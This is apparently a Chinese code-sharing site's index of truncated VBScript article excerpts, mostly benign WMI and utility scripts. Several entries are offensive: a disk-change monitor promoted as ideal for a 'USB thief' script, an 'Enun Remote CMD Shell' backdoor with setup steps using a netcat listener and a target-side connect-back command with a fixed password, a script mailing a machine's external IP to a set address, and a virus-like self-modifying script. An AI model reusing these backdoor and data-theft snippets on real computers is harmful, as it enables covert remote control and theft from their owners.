VBScript 监控磁盘更改事件实现代码

2017年02月06日 133 阅读

来自微软官方，写USB小偷脚本是最好不过的了复制代码 代码如下: strComputer = "." Set objWMIService = GetObject（"winmgmts:" _ & "{impersonationLevel=impersonate}！\" & strComputer & " ootcimv2"） Set colMonitoredEvents = objWMIService. _ ExecNotificationQuery（"Se...

VBScript Enun Remote CMD Shell代码

2017年02月06日 150 阅读

效果如图：复制代码 代码如下:"============================" Enun Remote CMDShell v 1.0"============================Option ExplicitCONST ACCOUNT_LOCK_TIME = 600000 "账户锁定时间，10分钟CONST LOCKOUT_BAD_COUNT = 3 "密码失败次数CONST DEFAULT_WAIT_TIME = 1000 "默认...

VBScript 打造自己的远程CMDShell附使用教程

2017年02月06日 190 阅读

请先下载 mswinsck.ocx 与 VB6Controls.reg！ 使用方法： 1，控制：nc.exe，执行：nc -l -v -p 1234；2，目标：cscript.exe enun.vbs IP Port； 3，密码：enun。 几点说明： 1，退出 SHELL，请输入 “exit”，不要用 “Ctrl + C”，这样的话只能等目标重启或手动运行后门才能连接； 2，Windows 7 等环境下普通标准用户也能使用，但是获取的权限相对有限。 3，...

VBS获取外网IP地址并发送到指定邮箱的代码

2017年02月06日 155 阅读

复制代码 代码如下:Function GetIPAddress（）Dim Flag, SourceSet GetIPObj = WScript.GetObject（"http://ipseeker.cn//"）Flag = 0For i=1 To 10 If GetIPObj.readyState = "complete" Then Flag=1 Exit For End If WScript.Sleep 500NextIf Flag = 0 ThenG...

VBS 获取外网IP的实现代码

2017年02月06日 136 阅读

复制代码 代码如下:set oDOM = WScript.GetObject（"http://ipseeker.cn//"）flag=0for i=1 to 10 if oDOM.readyState = "complete" then flag=1 exit for end if WScript.sleep 500nextif flag=0 then WScript.Echo "timeout ..." wscript.quitend ifs=oDOM...

VBS 自动登录论坛的实现代码

2017年02月06日 143 阅读

复制代码 代码如下:on error resume nexturl = " http://www.bathome.net/logging.php？action=login"username = "***"password = "***"set ie = CreateObject（"InternetExplorer.Application"）ie.visible = trueie.Navigate url,4 " " http://www.baidu.com...

WMI 创建系统服务的实现代码（Automatic）

2017年02月06日 167 阅读

复制代码 代码如下:Const OWN_PROCESS = &H10Const ERR_CONTROL = &H2Const INTERACTIVE = FalseServiceName = "TestService"DisplayName = "This is a test service."InstallPath = "c:windowssystem32Test.exe"Set ObjWMI = GetObject（"winmgmts:" & "{im...

VBS 加解密 For CAPICOM

2017年02月06日 160 阅读

复制代码 代码如下:"******************************************************************************"" THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, " EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO TH...

VBS 加解密 For MS Script Encode

2017年02月06日 183 阅读

一、加密复制代码 代码如下:Dim ObjectFSOIf （lcase（right（wscript.fullname,11））="wscript.exe"） ThenWScript.Quit（0）End IfIf wscript.arguments.count<2 ThenWscript.Echo "VBS Code Encoder v1.0 Powered by ENUN. http://www.enun.net/"Wscript.Echo "N...

VBE decoder

2017年02月06日 206 阅读

This script give you a decoded listing from an encoded file. Supports *,je, ,vbe, .asp, .hta, .htm, .html… If used under cscript, puts the result to stdout. The file can be multi-encoded （many scripts in the file, for ex. in an ht...

VBS 十六进制异或加密实现代码

2017年02月06日 184 阅读

效果图：代码都封装成函数了，方便调用：复制代码 代码如下:Key = "www-enun-net" "不要用数字Wscript.echo now & ", 加密: "MyData = ReadBin（"test.jpg"）EnData = Encoder（MyData）WriteBin "E_test.jpg", EnDataWscript.echo now & ", 加密: "Wscript.echo now & ", 解密: "MyData = Rea...

VBS 提取狗狗影视中的ED2K连接的实现代码

2017年02月06日 204 阅读

打开狗狗影视，搜索自己需要的资源，资源类型选：电驴，如下图：我找到一个 19.75GB 的：点开它，出现如下图的界面，可以看到正常下载地址已被屏蔽。我们复制地址栏中的网址，备用。打开从本站下载的 VBS 脚本，复制该网址到输入框，然后确定，稍过一会，会出现提示完成的消息框，这个时间的长短由你的网速决定！最后，我们得到最终的 ED2K 连接地址，全部保存在当前目录下的 ed2k.txt 文件中：还等什么？打开你的下载工具，开始下载吧！^_^GetEd2kLi...

VBS 正则判别素数（质数）

2017年02月06日 150 阅读

利用正则判别素数，来源于网络，神人！复制代码 代码如下:Set regex = New RegExpregex.Pattern = "^1？$¦^（11+？）1+$"For i = 1 To 100If Not regex.Test（String（i,"1"）） ThenWScript.Echo iEnd IfNext看到标题你一定会不屑一顾，枚举质数谁不会？复制代码 代码如下:For i = 1 To 100For j = 2 To iIf...

vbs通过WMI修改文件文件夹的NTFS权限

2017年02月06日 180 阅读

使用WMI修改文件文件夹的NTFS权限, 代码：复制代码 代码如下:strUser = "guests"strPath = "D:\abc.txt"RetVal = AddPermission（strUser,strPath,"R",True）"-------------------------------------------------------------------------"用于给文件和文件夹添加一条权限设置.返回值: 0-成功,1-账户不...

VBS 添加右键计算文件MD5的实现代码

2017年02月06日 198 阅读

最近相关的备份比较频繁，为了校验文件的完整性，老是要打开某文件HASH校验工具，比较麻烦，于是乎写了这个东东，文件较大时计算有点慢，文件的MD5值保存在剪贴板！效果如图：使用方法：1.先将GetMD5.reg文件导入注册表以添加右键菜单，GetMD5.reg代码如下：复制代码 代码如下:Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT*shellHASH（&G）command]@="WScript...

VBS监视网络连接与断开的代码

2017年02月06日 201 阅读

监视网络连接：复制代码 代码如下:strComputer = "."Set objWMIService = GetObject（"winmgmts:\" & strComputer & " ootwmi"）Set colMonitoredEvents = objWMIService.ExecNotificationQuery _ （"Select * from MSNdis_StatusMediaConnect"） Do While True Set s...

可以修改脚本自身运行次数的vbs（Self modifying script）

2017年02月06日 160 阅读

This script behaves like a virus This script shows you how a script can be self modifying, like viruses. It is a warning about the possibilities of macro viruses. File Name : selfmodify.vbs Requirement : none Author : Jean-Luc Ant...

VBScript之通过对比注册表查找隐藏的服务

2017年02月06日 132 阅读

效果图：代码（checksvr.vbs）：复制代码 代码如下:"On Error Resume NextConst HKEY_LOCAL_MACHINE = &H80000002Set oReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\. ootdefault:StdRegProv"）strKeyPath = "SYSTEMCurrentControlSetServices"oReg.En...

VBScript 监控并结束指定进程的代码

2017年02月06日 159 阅读

运行效果图：代码（monprocess.vbs）：复制代码 代码如下:On Error Resume NextstrComputer = "."arrTargetProcs = Array（"calc.exe", "notepad.exe", "other.exe"）"数组里为要监视的进程名Set SINK = WScript.CreateObject（"WbemScripting.SWbemSink","SINK_"）Set objWMIService ...

VBScript 输出中的对齐实现方法

2017年02月06日 169 阅读

运行效果：代码（fOutput.vbs）：复制代码 代码如下:strComputer = "." Set objWMIService = GetObject（"winmgmts:\" & strComputer & " ootCIMV2"） Set colItems = objWMIService.ExecQuery（ _ "SELECT * FROM Win32_NetworkAdapterConfiguration",,48） For Each obj...